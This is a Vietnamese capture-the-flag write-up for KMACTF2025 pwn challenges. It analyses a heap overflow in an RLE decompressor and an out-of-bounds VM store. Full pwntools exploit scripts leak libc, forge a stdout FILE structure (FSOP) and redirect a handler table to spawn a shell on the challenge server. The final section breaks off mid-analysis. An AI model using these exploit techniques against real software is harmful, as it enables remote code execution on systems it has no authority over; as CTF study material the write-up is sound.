---
# System prepended metadata

title: KMACTF2025

---

# KMACTF2025 T9

## compression
### Tóm tắt chương trình
- Trước hết, chương trình cho phép ta nhập vào size và string để tạo ra 1 chunk (using malloc). Chunk này được đặt là `buffer`
- Sau đó là menu với 6 lựa chọn (lựa chọn 4 bị ẩn là `free(buffer)` )
![image](https://hackmd.io/_uploads/rydtYhP2ge.png)

- Tới với **lựa chọn 1** là `compress buffer`
``` c= 
  if ( !buffer || !*buffer )
    return 0LL;
  input_len = strlen(buffer);
  compressed_string = (char *)malloc(2 * input_len + 1);
  if ( !compressed_string )
    return 0LL;
  output_index = 0;
  for ( i = 0; i < input_len; i = j )
  {
    current_char = buffer[i];
    count = 1;
    for ( j = i + 1; j < input_len && current_char == buffer[j]; ++j )
      ++count;
    output_index += sprintf(&compressed_string[output_index], "%d%c", count, (unsigned int)current_char);
  }
  compressed_string[output_index] = 0;
  return compressed_string;
}
```
- Hàm này không có bug, mục đích là sử dụng cơ chế `rle-compress` để nén lại chuỗi mình đã nhập vào
-- Ví dụ: mình nhập chuỗi `AAAABBBCC` thì hàm này sẽ trả về 1 chunk trong đó có chuỗi `4A3B2C`, chunk này sẽ có size gấp đôi chunk buffer mình malloc từ đầu tiên và được gán làm biến `result` trong main
-- **Noti**: hàm này sẽ malloc 1 chunk khác và thay đổi chunk đó chứ không change buffer.


- **lựa chọn 2** là `decompress buffer`
``` c =
  if ( !compressed_string || !*compressed_string )
    return 0LL;
  compressed_len = strlen(compressed_string);
  decompressed_string = (char *)malloc(compressed_len + 1);
  if ( !decompressed_string )
    return 0LL;
  output_index = 0;
  for ( i = 0; i < compressed_len; i += offset + 1 )
  {
    count = 0;
    __isoc99_sscanf(&compressed_string[i], "%d", &count);
    offset = 0;
    temp_count = count;
    while ( temp_count > 0 )
    {
      temp_count /= 10;
      ++offset;
    }
    current_char = compressed_string[i + offset];
    for ( j = 0; j < count; ++j )
    {
      v2 = output_index++;
      decompressed_string[v2] = current_char;
    }
  }
  return decompressed_string;
```
- Hàm này sẽ 'gỡ rối' chunk bị `compress`
-- Ví dụ: `4A3B2C` sẽ thành `AAAABBBCC`
-- Hàm này malloc 1 chunk bằng đúng với chunk buffer mà ta đã malloc từ đầu và thay đổi chunk mới này. Chunk mới này sau đó được gán với cùng biến `result` trước đó.
-- Hàm này có **bug** nên mình sẽ đi sâu hơn ở phần sau


- **lựa chọn 3** là `change buffer`
``` c=
 printf_flush("size: ");
__isoc99_scanf("%d", &size);
        if ( size )
        {
        buffer = (char*)realloc(buffer, size + 1);
        printf_flush("string:");
        read_byte(buffer, size);
```
-- Để ý hàm này có `realloc` tức là cái chunk buffer cũ sẽ ở nguyên vị trí, thay đổi được string trong chunk đó nếu size mới <= size cũ
-> part 3 này sẽ giúp thay đổi buffer

- **lựa chọn 4** là `free(result)`
``` c=
free(result);
result = 0LL;
```
-- Hàm này xóa luôn ptr sau khi free nên ko có bug ở đây ;-;

- **lựa chọn 5** là `create comment`
``` c= 
      case 5:                                   // malloc comment
        if ( !cmt )
        {
          cmt = (comment_t *)malloc(0x70uLL);
          printf_flush("enter your name:");
          read(0, cmt, 0x64uLL);
          printf_flush("size:");
          __isoc99_scanf("%d", &cmt->cmt_size);
          v4 = cmt;
          v4->comment = (char *)malloc(cmt->cmt_size + 1);
          printf_flush("enter your comment:");
          read_byte(cmt->comment, cmt->cmt_size);
        }
        goto LABEL_16;
```
-- Hàm này sẽ malloc 1 chunk size `0x70` cho cmt, trong đó struct cmt là : 
``` c=
00000000 struct comment_t // sizeof=0x70
00000000 {
00000000     char name[100]; //0x64
00000064     int cmt_size;
00000068     char *comment;
00000070 };
```

-- phần `*comment` sẽ là 1 chunk được malloc với size nhập từ người dùng
-- sau đó hàm read_byte() sẽ cho ta nhập vào cmt->comment
-- cuối cùng `LABLE_16` sẽ giúp print ra `result` nếu result còn ptr

- **lựa chọn 6** là `create comment`
```c=
  case 6:
    if ( cmt )
    {
      printf_flush("new comment: ");
      read(0, cmt->comment, cmt->cmt_size);
    }
```
-- Đơn giản là ghi vào ptr *comment

--> KẾT LUẬN: Chương trình cho phép ta malloc 1 chunk `buffer` ban đầu với size_chunk tùy ý, sau đó ta có thể compress cũng như decompress `buffer` này thành ptr `result`. Cuỗi cùng là có thể tạo cmt, chỉnh sửa cmt->comment và free(result)

### ? Where is bug ?
- Ở hàm `decompress`:
``` c=
  if ( !compressed_string || !*compressed_string )
    return 0LL;
  compressed_len = strlen(compressed_string);
  decompressed_string = (char *)malloc(compressed_len + 1);
  if ( !decompressed_string )
    return 0LL;
  output_index = 0;
  for ( i = 0; i < compressed_len; i += offset + 1 )
  {
    count = 0;
    __isoc99_sscanf(&compressed_string[i], "%d", &count);
    offset = 0;
    temp_count = count;
    while ( temp_count > 0 )
    {
      temp_count /= 10;
      ++offset;
    }
    current_char = compressed_string[i + offset];
    for ( j = 0; j < count; ++j )
    {
      v2 = output_index++;
      decompressed_string[v2] = current_char;
    }
  }
  return decompressed_string;
```

- Mình sẽ theo flow của chương trình: 
-- Chương trình sẽ lấy số từ compressed_string cho vào biến `count` = `temp_count`, sau đó sẽ duyệt `temp_count` để có`offset` của chữ mà mình cần decompress, sau đó chạy for để ghi vào chunk `decompressed string` 
-- Nhưng bug cũng ở đây, đó là khi nếu khai báo `decompressed string` nhỏ, tầm 0x20 (32 bytes), nhưng `count` lại lên tới 100 - 0x64 bytes, thì lúc này biến decompressed_string sẽ ghi được ra ngoài chunk đó -> heap overflow

-> **vậy idea sẽ là gì**: lúc mình ngồi xem lại code thì mình có nghĩ cái flow exploit như sau: 
-- Ở phần cmt, mình có thể tùy biến size của `create comment` - vì lẽ đó ta có thể malloc 1 chunk cực lớn, lúc này chunk đó sẽ ở 1 địa chỉ gần địa chỉ libc -> leak libc nhờ vào `print_flush(result)` + `decompress` , sau đó sử dụng `change buffer` và hàm `decompress` -> change địa chỉ libc trong `cmt->comment` bằng 1 địa chỉ khác và có thể ghi đè vào địa chỉ này.
-- Vậy cách dễ nhất là ghi đè vào `stdout` và FSOP để lấy shell


### Exploit
- Trước hết, vì hàm `decompress` malloc 1 chunk có size là `len(buffer) + 1`, còn `compress` malloc 1 chunk có size là `2*len(buffer) + 1`. Hơn nữa để overflow được `cmt->comment` thì chunk `cmt` phải ở dưới chunk `result` sẽ được `decompress`
-> mình sẽ phải `compress` chunk `buffer` trước, sau đó `create comment` để `malloc(0x70)` rồi `free(result)` để cho chunk trong tcache giờ sẽ có 1 chunk rồi, sau khi `decompress` thì sẽ malloc lại chunk đó và overflow được chunk `cmt` ở dưới
-> Như vấn đề đặt ra ở trên thì mình sẽ ưu tiên các chunk nhỏ `<=0x8` cho lần đầu tiên tạo buffer, vì `malloc(2*0x8+1) = malloc(0x20) = malloc(0x8 + 1)`

- test trước nha !!!

#### Leak libc base
``` c=
name = b"136" + b"C" 
// mình để 136C là vì khi nhìn phần debug bên dưới, mọi người sẽ thấy để đè được tới phần địa chỉ libc
// thì sẽ cần 0x2e7e3768-0x2e7e36e0 = 0x88 bytes = 136
sla(b"size: ", str(0x4).encode())
sla(b"string: ", name)

sla(b"> ", b"1")
sla(b"> ", b"4")


sla(b"> ", b"5")
sla(b"name:", b"A"*0x64)
sla(b"size:", b"135168") #0x21000
pa = b"b"*0x21000
sla(b"comment:", pa)
```
trước khi `decompress`
![image](https://hackmd.io/_uploads/rJPcpfuhxe.png)
sau khi `decompress`
![image](https://hackmd.io/_uploads/SkZqAzO2xe.png)
- và ở đây sau khi decompress thì biến result được in ra, chung ta đã leak được libc
![image](https://hackmd.io/_uploads/SJdCCz_2ll.png)
![image](https://hackmd.io/_uploads/rJjeMQd2xe.png)
--> đã leak được libc base

#### FSOP
- để ghi được vào stdout, thì mình phải sửa lại buffer trước, như đã nói ở trên thì `realloc` sẽ ghi lại vào đúng địa chỉ chunk của buffer cũ nếu size cũ >= size mới. Vì vậy chỉ cần ghi biến `name` sao cho size `<=0x18` là được
- Mình sẽ tách stdout thành 6 phần, mỗi phần 1 bytes, ghi từng phần vô
-- ví dụ: b"1" + b"\x41" = 1A = A

``` c=
stdout = libc.address + 0x21b780
p1 = stdout & 0xff 
p2 = (stdout >> 8) & 0xff
p3 = (stdout >> 16) & 0xff
p4 = (stdout >> 24) & 0xff
p5 = (stdout >> 32) & 0xff
p6 = (stdout >> 40) & 0xff

sla(b"> ", b"4")


#change buffer
sla(b"> ", b"3")
sla(b"size: ", str(0x10).encode())
pa = name + b'1' + p8(p1) + b'1' + p8(p2) + b'1' + p8(p3) + b'1' + p8(p4) + b'1' + p8(p5) + b'1' + p8(p6)
sla(b"string:", pa)

sla(b"> ", b"2")
```

![image](https://hackmd.io/_uploads/Bk-m4Qd2le.png)
-> Đè thẳng vào phần flags bên trong struct của `_IO_2_1_stdout_`
![image](https://hackmd.io/_uploads/ryNV4X_2xx.png)
- Cuối cùng mình chỉ cần ghi đè vào struct này

``` c=
system = libc.symbols['system']
bin = u64(b'/bin/sh\0')

fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
stdout_lock = libc.symbols['_IO_stdfile_1_lock']
gadget = libc.address + 0x00000000001636a0 # add rdi, 0x10; jmp rcx;
wide_data = libc.symbols['_IO_wide_data_1']

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end= exe.symbols['win']
fake._IO_buf_end = gadget
fake._IO_write_ptr=u64(b'/bin/sh\x00')	# will be at rdi+0x10
fake._lock = stdout_lock
fake._codecvt= stdout + 0xa8
fake._wide_data = wide_data
# fake._freeres_list = stdout + 0x18
fake.unknown2=p64(stdout+0x18)+p64(0)*5+p64(fake_vtable)
payload = bytes(fake)

sla(b"> ", b"6")
sla(b"new comment: ", payload)
```
- script fsop lấy cảm hứng từ [nobodyisnobody](https://github.com/nobodyisnobody/write-ups/tree/main/Hack.lu.CTF.2022/pwn/byor)

- exploit local thành công
![image](https://hackmd.io/_uploads/S13YIXO3xe.png)
- h sẽ thử trên server
![image](https://hackmd.io/_uploads/SyUnI7_hxx.png)


### FULL SCRIPT
``` c=
#!/usr/bin/python3

from pwn import *

exe = ELF('main_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
s = lambda data: p.send(data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sla = lambda msg, data: p.sendlineafter(msg, data)
sn = lambda num: p.send(str(num).encode())
sna = lambda msg, num: p.sendafter(msg, str(num).encode())
sln = lambda num: p.sendline(str(num).encode())
slna = lambda msg, num: p.sendlineafter(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        # b *0x00000000004018e6
        # b *read_byte
        # b *0x0000000000401995
        # b *0x000000000040190D
        # b *0x00000000004015F3
        # b *0x00000000004019D0
        b *0x00000000004018A8
        c
        ''')
        input()


if args.REMOTE:
    p = remote('165.22.55.200', 40001)
    # host = sys.argv[1].split(":")
    # p  = remote(host[0],int(host[1]) )
else:
    p = process([exe.path])
GDB()
# huong -> fsop

name = b"136" + b"C" 
sla(b"size: ", str(0x4).encode())
sla(b"string: ", name)

sla(b"> ", b"1")
sla(b"> ", b"4")


sla(b"> ", b"5")
sla(b"name:", b"A"*0x64)
sla(b"size:", b"135168") #0x21000
pa = b"b"*0x21000
sla(b"comment:", pa)

sla(b"> ", b"2")
p.recv(0x90)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) + 0x24ff0
print("[*] Libc address: " + hex(libc.address))

stdout = libc.address + 0x21b780
# stderr = libc.address + 0x21b6a0
p1 = stdout & 0xff 
p2 = (stdout >> 8) & 0xff
p3 = (stdout >> 16) & 0xff
p4 = (stdout >> 24) & 0xff
p5 = (stdout >> 32) & 0xff
p6 = (stdout >> 40) & 0xff

sla(b"> ", b"4")


#change buffer
sla(b"> ", b"3")
sla(b"size: ", str(0x10).encode())
pa = name + b'1' + p8(p1) + b'1' + p8(p2) + b'1' + p8(p3) + b'1' + p8(p4) + b'1' + p8(p5) + b'1' + p8(p6)
sla(b"string:", pa)

sla(b"> ", b"2")

system = libc.symbols['system']
bin = u64(b'/bin/sh\0')

fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
stdout_lock = libc.symbols['_IO_stdfile_1_lock']
gadget = libc.address + 0x00000000001636a0 # add rdi, 0x10; jmp rcx;
wide_data = libc.symbols['_IO_wide_data_1']

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end= exe.symbols['win']
fake._IO_buf_end = gadget
fake._IO_write_ptr=u64(b'/bin/sh\x00')	# will be at rdi+0x10
fake._lock = stdout_lock
fake._codecvt= stdout + 0xa8
fake._wide_data = wide_data
# fake._freeres_list = stdout + 0x18
fake.unknown2=p64(stdout+0x18)+p64(0)*5+p64(fake_vtable)
payload = bytes(fake)

sla(b"> ", b"6")
sla(b"new comment: ", payload)

#KMACTF{b4ea67bc251316adb5313fd645f484b0}


p.interactive()
```


## matriska
### Tóm tắt chương trình và tìm lỗ hổng
``` c=
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<string.h>
#include"vm.h"
#define NUM_VMS 0x10

void win()
{
    system("/bin/sh");
}

vm vms[NUM_VMS];

int add_vm(uint8_t *code)
{
    if (!validate_code(code)) {
        printf("[-] VM code failed validation\n");
        return 0;
    }

    for (int i = 0; i < NUM_VMS; i++) { //add 16 new vm
        if (!vms[i].active) {
            memset(&vms[i], 0, sizeof(vm));
            memcpy(vms[i].code, code, CODE_SIZE);
            vms[i].active = 1;
            printf("[+] VM added at slot %d\n", i);
            return 1;
        }
    }

    printf("[-] No free VM slots available\n");
    return 0;
}

// run a VM by index
void run_vm_slot(int idx)
{
    if (idx < 0 || idx >= NUM_VMS || !vms[idx].active) {
        printf("[-] Invalid VM index %d\n", idx);
        return;
    }

    printf("[*] Running VM at slot %d...\n", idx);
    if (run_vm(&vms[idx]))
        printf("[+] VM finished successfully\n");
    else
        printf("[-] VM failed\n");
}

void init()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}


int main()
{
    int choice;
    uint8_t code[CODE_SIZE];
    init();
    while (1) {
        printf("\nMenu:\n");
        printf("1. Add VM\n");
        printf("2. Run VM\n");
        printf("3. Exit\n");
        printf("> ");
        if (scanf("%d", &choice) != 1) break;

        if (choice == 1) {
            printf("Send code: ");
            read(0, code, CODE_SIZE);
            add_vm(code);
        }
        else if (choice == 2) {
            int idx;
            printf("Enter VM index to run: ");
            scanf("%d", &idx);
            run_vm_slot(idx);
        }
        else if (choice == 3) {
            break;
        }
        else {
            printf("[-] Invalid choice\n");
        }
    }
    

    return 0;
} 
```
- Đây là chương trình khởi tạo và chạy vm, có thể khởi tạo tổng là 16 vm, phần `menu` cho phép ta thực hiện 2 thao tác là `add vm` và `run vm`, trong đó các vm này có thể thực hiện các chức năng như: 
>     add_handler,     // ADD
>     add_imm_handler, // ADD_IMM
>     sub_handler,     // SUB
>     sub_imm_handler, // SUB_IMM
>     mul_handler,     // MUL
>     mul_imm_handler, // MUL_IMM
> 
>     store_reg_reg_safe_handler,   // STORE_REG_REG_SAFE
>     store_reg_reg_unsafe_handler, // STORE_REG_REG_UNSAFE
>     store_reg_imm_safe_handler,   // STORE_REG_IMM_SAFE
>     store_reg_imm_unsafe_handler, // STORE_REG_IMM_UNSAFE
>     store_imm_reg_handler,        // STORE_IMM_REG
>     store_imm_imm_handler,        // STORE_IMM_IMM
    
- Để khởi tạo 1 vm, mình sẽ phải đi qua các phần checking `validate code` trong đó sẽ check các mục sau:
```c=
int validate_code(uint8_t *code)
{
    uint32_t reg_max[NUM_REGS] = {0};
    uint32_t pc = 0, ok = 0;

    while (pc < CODE_SIZE) {
        switch (code[pc]) {
        case ADD:
        case SUB:
        case MUL: {
            uint32_t reg1 = code[pc + 1];
            uint32_t reg2 = code[pc + 2];
            if (!validate_reg(reg1) || !validate_reg(reg2))
                goto end; // reg1, reg2 <=5

            if (code[pc] == ADD)
                reg_max[reg1] += reg_max[reg2];

            pc += get_opcode_size(code[pc]);
            break;
        }
        case ADD_IMM:
        case SUB_IMM:
        case MUL_IMM: {
            uint32_t reg1 = code[pc + 1];
            uint32_t imm  = *(uint32_t*)&code[pc + 2];
            if (!validate_reg(reg1))
                goto end;

            if (code[pc] == ADD_IMM)
                reg_max[reg1] += imm;

            pc += get_opcode_size(code[pc]);
            break;
        }
        case STORE_REG_REG_SAFE: {
            uint32_t reg1 = code[pc + 1];
            uint32_t reg2 = code[pc + 2];
            if (!validate_reg(reg1) || !validate_reg(reg2))
                goto end;

            if (reg_max[reg1] < MEM_SIZE)
                code[pc] = STORE_REG_REG_UNSAFE;

            pc += get_opcode_size(code[pc]);
            break;
        }
        case STORE_REG_IMM_SAFE: {
            uint32_t reg1 = code[pc + 1];
            uint32_t imm  = *(uint32_t*)&code[pc + 2];
            if (!validate_reg(reg1)) //notcheck imm
                goto end;

            if (reg_max[reg1] < MEM_SIZE)
                code[pc] = STORE_REG_IMM_UNSAFE;

            pc += get_opcode_size(code[pc]);
            break;
        }
        case STORE_IMM_REG: {
            uint32_t imm  = *(uint32_t*)&code[pc + 1];
            uint32_t reg1 = code[pc + 5];
            if (!validate_reg(reg1)) // not check imm
                goto end;
            if (imm >= MEM_SIZE)
                goto end;

            pc += get_opcode_size(code[pc]);
            break;
        }
        case STORE_IMM_IMM: {
            uint32_t imm1 = *(uint32_t*)&code[pc + 1];
            uint32_t imm2 = *(uint32_t*)&code[pc + 5];
            (void)imm2; //different
            // only imm1 needs validation
//not check
            if (imm1 >= MEM_SIZE)
                goto end;

            pc += get_opcode_size(code[pc]);
            break;
        }
        case RET:
            ok = 1;
            goto end;
        default:
            printf("Invalid opcode: 0x%x\n", code[pc]);
            goto end;
        }
    }
end:
    return ok;
}
```
- điểm đặc biệt cũng như là bug nhỏ để mình có thể exploit thành công chương trình này nằm ở việc chương tỉnh chỉ cộng/check vào biến `reg_max` khi pc là `add_imm`, `add`, `store_reg_safe`. Chính vì lẽ đó ta có thể tăng biến `reg_max` thông qua các hàm khác trong `handler_table` mà không sợ bị checking

- bonus thêm vào đó là khi end 1 code mình sẽ phải dùng `b"\x0c"` để RET
- hơn nữa thì vì hàm này sẽ read vào vm->code nên ta có thể ghi các giá trị tùy thích vào sau `b"\x0c"` và không gây ra lỗi.


- hàm `run vm` sẽ thực hiện các thao tác mà mình đã nhập trong vm->pc
``` c=
int run_vm(vm* vm)
{
    // reset state
    for (int i = 0; i < NUM_REGS; i++) {
        vm->regs[i] = 0; //overflow nhẹ
    }
    vm->fail = 0;
    vm->pc   = 0;
    memset(vm->mem, 0, MEM_SIZE*sizeof(uint32_t));

    // execution loop
    while (!vm->fail) {
        opcode op = vm->code[vm->pc];

        handler_table[op](vm); //add handler

        if (vm->code[vm->pc] == RET)
            break;
    }

    return !vm->fail;
}


```

- phần `handler_table[op](vm)` sẽ chạy opcode mà mình đã cho vào `vm->code`
```
handler_t handler_table[] = {
    add_handler,     // ADD
    add_imm_handler, // ADD_IMM
    sub_handler,     // SUB
    sub_imm_handler, // SUB_IMM
    mul_handler,     // MUL
    mul_imm_handler, // MUL_IMM

    store_reg_reg_safe_handler,   // STORE_REG_REG_SAFE
    store_reg_reg_unsafe_handler, // STORE_REG_REG_UNSAFE
    store_reg_imm_safe_handler,   // STORE_REG_IMM_SAFE
    store_reg_imm_unsafe_handler, // STORE_REG_IMM_UNSAFE
    store_imm_reg_handler,        // STORE_IMM_REG
    store_imm_imm_handler,        // STORE_IMM_IMM
};
```

- có đặc điểm trong bài này đó chính là bảng `handler_table[]` lại nằm ngay bên dưới bảng got , bên trên `vms`. Chính vì nằm bên trên `vms` nên mình nghĩ tới trường hợp `liệu nếu ta nhập op>12 thì ta có thể thực hiện được hàm phía dưới không`. Mình đã thử set các hàm và chạy thử:

![image](https://hackmd.io/_uploads/B1hsvpoheg.png)
![image](https://hackmd.io/_uploads/rJrWdpi3xl.png)

- mình set thử hàm `win` ở `vms`, và set lại `vm->pc` thành `handler_table[0x18]` thì có được shell

![image](https://hackmd.io/_uploads/By_SdTsnel.png)

**--> idea : thay doi vm->pc , sau khi da validate xong, de chay handler_table[pc] -> chay đc win**

- **quan trọng là tiêm hàm win vào đâu và thay đổi vm->pc ra sao**

### Exploit
- Sau 7749 lần test thì mình phát hiện hàm `store_reg_imm_unsafe_handler` có lỗi `oob`
``` c=
void store_reg_imm_unsafe_handler(vm* vm)
{
    uint32_t reg1, imm;
    reg1 = vm->code[vm->pc + 1];
    imm = *(uint32_t*)&vm->code[vm->pc + 2];

    vm->mem[vm->regs[reg1]] = imm;
    vm->pc += get_opcode_size(vm->code[vm->pc]);
}
```
- Vì `regs[reg1]` là thuộc kiểu dữ liệu `unsigned int`, với giá trị max là `0xffffffff` vì vậy ta hoàn toàn có thể out of bound ghi xa khỏi vm0, sang vm1 và các vm khác
- Nên ở đây idea của mình sẽ là tạo 2 cái vm với `validate code` trước, sau đó dùng hàm `store_reg_imm_unsafe_handler` để có thể ghi đè vào `code đã validate của vm1` bởi biến `vm->pc` vốn chỉ check các `pc mặc định từ 0 -> 12`, nếu quá giá trị 12 thì sẽ tạch -> phải dùng biện pháp ghi đè để có thể gọi `handler_table[offset]`
- Mỗi vm có struct như sau:
``` c
00000000 struct vm // sizeof=0x82C
00000000 {                                       // XREF: .bss:vms/r
00000000     uint32_t fail;
00000004     uint32_t active;                    // XREF: add_vm+51/o
00000004                                         // add_vm+C5/o ...
00000008     uint32_t pc;
0000000C     uint8_t code[1024];
0000040C     uint32_t regs[8];
0000042C     uint32_t mem[256];
0000082C };
```

- giờ chúng ta sẽ exploit:

-- Vì PIE tắt nên mình sẽ ghi địa chỉ cụ thể ở đây để mọi người có thể debug theo
-- 0x405140 (vms) -> vms->mem = 0x405140+0x42c = 0x40556c
-- mỗi biến của mảng mem gồm 4 bytes -> để đè được tới vm1->code thì cần ít nhất 0x101 bytes (có thể đè nhìu hơn để dễ chèn vm->pc hơn). Ở đây mình lấy offset 0x104, mọi người có thể lấy hơn tùy ý. Mình lấy 0x104 vì 0x104 = 0x4 * 0x41, trong đó 0x4 thì sẽ pass được qua `validate_reg` check, và 0x41 cũng pass qua check của `imm`. Tại sao mình lại dùng `nhân` chứ không phải cộng , là tại trong hàm `validate_code` có biến `regs_max` sẽ check coi nếu `imm > 0x100` thì sẽ không nhảy vô hàm `unsafe` mà lại nhảy vào hàm `safe`, cùng với đó là như mình nói ở trên có một số hàm như `mul imm` thì sẽ không check `regs_max` nên mình sẽ dùng `mul` để nhân 2 số vô với nhau tạo thành một số `>0x100` gây ra `oob`

```python=
def add(code):
    sla(b"> ", b"1")
    sa(b"code: ", code)
    
def run(num):
    sla(b"> ", b"2")
    sla(b"run: ", str(num).encode()
# b1.1: cho 4 vào regs[0] #add_imm_handler
pa = b"\x01\x00" + p32(0x4)
# b1.2: mul regs[0] với 0x41 #mul_imm_handler
pa += b"\x05\x00" + p32(0x41) #mul_imm_handler

#b2: store_reg_imm_unsafe_handler -> ghi imm vào vm1->pc
pa += b"\x08\x00" + p32(0x41414141)
pa += b"\x0c"
pa += p8(0) + p32(win) + p32(0) 
add(pa)
pa1 = b"\x02\x00\x00\x0c" # test nên ko để gì
add(pa1)
run(0)
run(1)
```
-- mình để 0x41414141 ở đây để nhìn cho dễ hơn
![image](https://hackmd.io/_uploads/BkJVNAs3ge.png)
-> yeah ở địa chỉ của vm0->mem[0x104] ~ vm1->code đã có giá trị ta đè vào

![image](https://hackmd.io/_uploads/BkUKNCohle.png)
- mình thấy rằng, handler_table[0x18] chính là địa chỉ win nên chỉ cần cho `vm1->pc` bất kì = 0x18, giờ mình sẽ sửa code chút để tìm xem chỗ nào là vm1->pc

``` python=
win = 0x401256
#b1: add 0x104 vao regs[0] - ko được vì sẽ bị check regs_max -> idea: dùng hàm ko bị regs_max để sửa
#ví dụ như hàm sub/mul handler or sub/mul imm_handler
# có 0x104 = 0x4 * 0x41 -> cho 4 vào regs[0] , imm = 0x41

# b1.1: cho 4 vào regs[0] #add_imm_handler
pa = b"\x01\x00" + p32(0x4)
# b1.2: mul regs[0] với 0x41 #mul_imm_handler
pa += b"\x05\x00" + p32(0x41) #mul_imm_handler

#b2: store_reg_imm_unsafe_handler -> ghi imm vào vm1->pc
pa += b"\x08\x00" + p32(0x41410000)
pa += b"\x0c"
pa += p8(0) + p32(win) + p32(0) # 0x405160 #hanlder_tanble[24] ~ 0x18
add(pa)

pa1 = b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" 
pa1 += b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00"  
pa1 += b"\x0c"
add(pa1)

input("WAIT")

run(0)
# run(1) chưa chạy 1 vội vì chạy 1 tức là chạy lun biến mình cần ghi
```
![image](https://hackmd.io/_uploads/rJrVSAs3xg.png)
-> mình sẽ sửa `0x414100` -> `0x411800` thì sẽ đè `0x18` vào vm1->pc (cách 3 bytes sau pc=2=sub) và chạy thử

![image](https://hackmd.io/_uploads/H1H9S0o2ge.png)

-> lấy được shell local

- get shell remote

![image](https://hackmd.io/_uploads/S1IarAj3lx.png)

### FULL SCRIPT
``` python =
#!/usr/bin/python3

from pwn import *

exe = ELF('matrishka_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
s = lambda data: p.send(data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sla = lambda msg, data: p.sendlineafter(msg, data)
sn = lambda num: p.send(str(num).encode())
sna = lambda msg, num: p.sendafter(msg, str(num).encode())
sln = lambda num: p.sendline(str(num).encode())
slna = lambda msg, num: p.sendlineafter(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        # b *validate_code
        # b *0x000000000040208F
        b *store_reg_imm_unsafe_handler
        c
        ''')
        input()


if args.REMOTE:
    p = remote('165.22.55.200', 40004)
    # host = sys.argv[1].split(":")
    # p  = remote(host[0],int(host[1]) )
else:
    p = process([exe.path])
GDB()
def add(code):
    sla(b"> ", b"1")
    sa(b"code: ", code)
    
def run(num):
    sla(b"> ", b"2")
    sla(b"run: ", str(num).encode())
# mem : 0x40556c 18


# idea : thay doi vm->pc , sau khi da validate xong, de chay handler_table[pc] -> chay đc win
# quan trọng là tiêm hàm win vào đâu và thay đổi vm->pc ra sao
# mình nghĩ idea sẽ là oob ở hàm X [vm0->vm1] -> ghi được vào vm->pc của biến sau
# sau đó tiêm win ở hàm Y [vm0]

# ko cần tính chỗ của win, chỉ cần ghi sau 0xc là được

win = 0x401256
#b1: add 0x104 vao regs[0] - ko được vì sẽ bị check regs_max -> idea: dùng hàm ko bị regs_max để sửa
#ví dụ như hàm sub/mul handler or sub/mul imm_handler
# có 0x104 = 0x4 * 0x41 -> cho 4 vào regs[0] , imm = 0x41

# b1.1: cho 4 vào regs[0] #add_imm_handler
pa = b"\x01\x00" + p32(0x4)
# b1.2: mul regs[0] với 0x41 #mul_imm_handler
pa += b"\x05\x00" + p32(0x41) #mul_imm_handler

#b2: store_reg_imm_unsafe_handler -> ghi imm vào vm1->pc
pa += b"\x08\x00" + p32(0x41180000)
pa += b"\x0c"
pa += p8(0) + p32(win) + p32(0) # 0x405160 #hanlder_tanble[24] ~ 0x18
add(pa)

pa1 = b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" 
pa1 += b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00"  
pa1 += b"\x0c"
add(pa1)

input("WAIT")

run(0)
run(1)

#KMACTF{Nunmu1_m3oMCHUNeUn_Be083U1_M0Ll@Yo_ch@dich4GO_N30mU_aPAYo_6WaEnchAn7An3Un_MAReun_d4_GE0j1Nm41_b1g@_N@3r1neUn_YEOGI_N4M6Y30jY3O_H0nj4_U1Go_$ipj1_aNaYo_41lY30jusEYO_nunmuReu1_ChamN3un_B@N6b30p}
#offset mem[0x104] -> sửa vm->regs[reg1] = 0x104 -> add_imm_handler



p.interactive()
```

## JSON Beauty
### Tóm tắt chương trình và tìm lỗ hổng
```c=
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int64_t random; // [rsp+0h] [rbp-20h] BYREF
  size_t size; // [rsp+8h] [rbp-18h] BYREF
  size_t nums; // [rsp+10h] [rbp-10h]
  char *json_data; // [rsp+18h] [rbp-8h]

  json_data = 0LL;
  current_user = (User *)malloc(0x109uLL);
  printf_flush("name: ", argv);
  nums = read(0, current_user, 0x100uLL);
  current_user->name[nums] = 0;                 // set ki tu cuoi = 0
  random = value();                             // maybe guess dc, set ki tu cuoi = 0
  strncpy(current_user->key, (const char *)&random, 8uLL);
  current_user->key[8] = 0;
  while ( 1 )
  {
    v3 = menu();
    if ( v3 == 4 )
      break;
    if ( v3 <= 4 )
    {
      switch ( v3 )
      {
        case 3:
          show_credential();                    // ghi key = 0x00something -> strlen() loi -> oob
          break;
        case 1:                                 // sua name
          printf_flush("name: ");
          nums = read(0, current_user, 0x100uLL);
          current_user->name[nums] = 0;
          break;
        case 2:                                 // tao 1 chunk tuy size, co free -> leak dia chi nao do, nma in ra thi hoi kho =>
          if ( json_data )
            free(json_data);
          printf_flush("size: ");
          __isoc99_scanf("%lu", &size);
          json_data = (char *)malloc(size + 1); // uaf
          printf_flush("data: ");
          read_byte(json_data, size);           // th1: da free, th2: chua free
          break;
      }
    }
    printf_flush("Beautified JSON:\n");
    beautify_json(json_data);
  }
  exit(0);
}

void __cdecl show_credential()
{
